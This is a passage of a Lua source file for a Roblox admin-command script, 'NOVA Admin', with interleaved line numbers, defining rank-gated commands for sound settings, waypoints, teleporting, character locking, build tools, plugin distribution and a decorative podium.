AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
4846
    function(Msg,Speaker)
4847
        pcall(function()
4848
            NOVA.Sounds.Sound.Pitch = tonumber(Msg)
4849
        end)
4850
    end
4851
)
4852
AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
4853
    function(Msg,Speaker)
4854
        pcall(function()
4855
            NOVA.Sounds.Sound.Looped = Msg
4856
        end)
4857
    end
4858
)
4859
AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
4860
    function(Msg,Speaker)
4861
        Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
4862
    end
4863
)
4864
AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
4865
    function(Msg,Speaker)
4866
        local Give = {}
4867
        for _,v in pairs(NOVA.Plugins) do
4868
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4869
                function()
4870
                    table.insert(Give,v:Clone())
4871
                end
4872
            )
4873
        end
4874
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4875
            function()
4876
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4877
                    for _,Tool in pairs(Give) do
4878
                        New = Tool:Clone()
4879
                        New.Parent = v.Backpack
4880
                        pcall(function()
4881
                            New.Disabled = false
4882
                        end)
4883
                    end
4884
                end
4885
                RemoveTablets(Speaker)
4886
            end
4887
        )
4888
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4889
    end
4890
)
4891
AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
4892
    function(Msg,Speaker)
4893
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4894
            pcall(function()
4895
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4896
                    part.Locked = true
4897
                end
4898
            end)
4899
        end
4900
    end
4901
)
4902
AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
4903
    function(Msg,Speaker)
4904
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4905
            pcall(function()
4906
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4907
                    part.Locked = false
4908
                end
4909
            end)
4910
        end
4911
    end
4912
)
4913
AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
4914
    function(Msg,Speaker)
4915
        Split = GetSplit(Msg)
4916
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4917
            pcall(function()
4918
                CreateLocalScript(Msg:sub(Split+1),v.Backpack)
4919
            end)
4920
        end
4921
    end
4922
)
4923
AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
4924
    function(Msg,Speaker)
4925
        NOVA.Services.Lighting.Brightness = tonumber(Msg)
4926
    end
4927
)
4928
AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
4929
    function(Msg,Speaker)
4930
        pcall(function()
4931
            Rtn = CFrame.new(
4932
                Speaker.Character.Torso.CFrame.x,
4933
                Speaker.Character.Torso.CFrame.y,
4934
                Speaker.Character.Torso.CFrame.z
4935
            )
4936
            table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
4937
        end)
4938
    end
4939
)
4940
AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
4941
    function(Msg,Speaker)
4942
        for _,v in pairs(NOVA.Waypoints) do
4943
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4944
                pcall(function()
4945
                    RemoveTablets(Speaker)
4946
                    Speaker.Character.Torso.CFrame = v.CFrame
4947
                end)
4948
            end)
4949
        end
4950
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4951
    end
4952
)
4953
AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
4954
    function(Msg,Speaker)
4955
        Rtn = {}
4956
        for num,v in pairs(NOVA.Waypoints) do
4957
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4958
                table.insert(Rtn,num)
4959
            end)
4960
        end
4961
        Output("Done",NOVA.Colors.Green,Speaker,nil,function()
4962
            RemoveTablets(Speaker)
4963
            for _,v in pairs(Rtn) do
4964
                table.remove(NOVA.Waypoints,v)
4965
            end
4966
        end)
4967
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4968
    end
4969
)
4970
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
4971
    function(Msg,Speaker)
4972
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4973
            pcall(function()
4974
                for i=0,3 do
4975
                    Instance.new("HopperBin",v.Backpack).BinType = i
4976
                end
4977
            end)
4978
        end
4979
    end
4980
)
4981
AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
4982
    function(Msg,Speaker)
4983
        local MainColor = Color3.new(0,0,0)
4984
        local SeccondaryColor = Color3.new(0.69,0.13,0.13)
4985
        local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
4986
        local MainCFrame = Speaker.Character.Torso.CFrame
4987
            * CFrame.new(0,-4,0)
4988
            + Speaker.Character.Torso.CFrame.lookVector*3
4989
        local SeccondaryCFrame = Speaker.Character.Torso.CFrame
4990
            * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
4991
            + Speaker.Character.Torso.CFrame.lookVector*3
4992
        if CFrame == nil then return end    
4993
        coroutine.resume(coroutine.create(function()
4994
       
4995
            for i=1,25 do
4996
                wait()
4997
                local Step = Instance.new("Part",Main)
4998
                Step.FormFactor = "Custom"
4999
                Step.Name = "Step"
5000
                Step.Anchored = true
5001
                Step.Locked = true
5002
                Step.Reflectance = 0
5003
                Step.TopSurface = "Smooth"
5004
                Step.BottomSurface = "Smooth"
5005
                Step.BrickColor = BrickColor.new(SeccondaryColor)
5006
                Step.Size = Vector3.new(6,1,3)
5007
                Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
5008
                Instance.new("BlockMesh",Step)
5009
               
5010
                local Carpet = Instance.new("Part",Main)
5011
                Carpet.FormFactor = "Custom"
5012
                Carpet.Name = "Carpet"
5013
                Carpet.Anchored = true
5014
                Carpet.Locked = true
5015
                Carpet.Reflectance = 0
5016
                Carpet.TopSurface = "Smooth"
5017
                Carpet.BottomSurface = "Smooth"
5018
                Carpet.BrickColor = BrickColor.new(MainColor)
5019
                Carpet.Size = Vector3.new(4,1,3.2)
5020
                Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
5021
                Instance.new("BlockMesh",Carpet)  
5022
            end    
5023
            local MainCirc = Instance.new("Part",Main)
5024
            MainCirc.FormFactor = "Custom"
5025
            MainCirc.Name = "MainCirc"
5026
            MainCirc.Anchored = true
5027
            MainCirc.Locked = true
5028
            MainCirc.Reflectance = 0
5029
            MainCirc.TopSurface = "Smooth"
5030
            MainCirc.BottomSurface = "Smooth"
5031
            MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
5032
            MainCirc.Size = Vector3.new(20,1,20)
5033
            MainCirc.CFrame = SeccondaryCFrame
5034
            Instance.new("CylinderMesh",MainCirc)
5035
           
5036
            local SeccondaryCirc = Instance.new("Part",Main)
5037
            SeccondaryCirc.FormFactor = "Custom"
5038
            SeccondaryCirc.Name = "SeccondaryCirc"
5039
            SeccondaryCirc.Anchored = true
5040
            SeccondaryCirc.Locked = true
5041
            SeccondaryCirc.Reflectance = 0
5042
            SeccondaryCirc.TopSurface = "Smooth"
5043
            SeccondaryCirc.BottomSurface = "Smooth"
5044
            SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
5045
            SeccondaryCirc.Size = Vector3.new(18,1,18)
5046
            SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
5047
            Instance.new("CylinderMesh",SeccondaryCirc)
5048
            for i=1,math.floor(360/6) do
5049
                local Spike = Instance.new("Part",Main)
5050
                Spike.FormFactor = "Custom"
5051
                Spike.Name = "Spike"
5052
                Spike.Anchored = true
5053
                Spike.Locked = true
5054
                Spike.Reflectance = 0
5055
                Spike.TopSurface = "Smooth"
5056
                Spike.BottomSurface = "Smooth"
5057
                Spike.BrickColor = BrickColor.new(MainColor)
5058
                Spike.Size = Vector3.new(1,7,1)
5059
                Spike.CFrame = SeccondaryCFrame
5060
                    * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
5061
                    * CFrame.new(7,-7,0)
5062
                Torch = Instance.new("Part",Main)
5063
                Torch.Reflectance = 1e+999
5064
                Torch.FormFactor = "Custom"
5065
                Torch.Shape = "Ball"
5066
                Torch.Anchored = true
5067
                Torch.Locked = true
5068
                Torch.Size = Vector3.new(2,2,2)
5069
                Torch.CFrame = Spike.CFrame
5070
                    * CFrame.new(0,3.5,0)
5071
                    * CFrame.Angles(0,0,0)
5072
                Instance.new("Fire",Torch)
5073
            end
5074
        end))
5075
    end
5076
)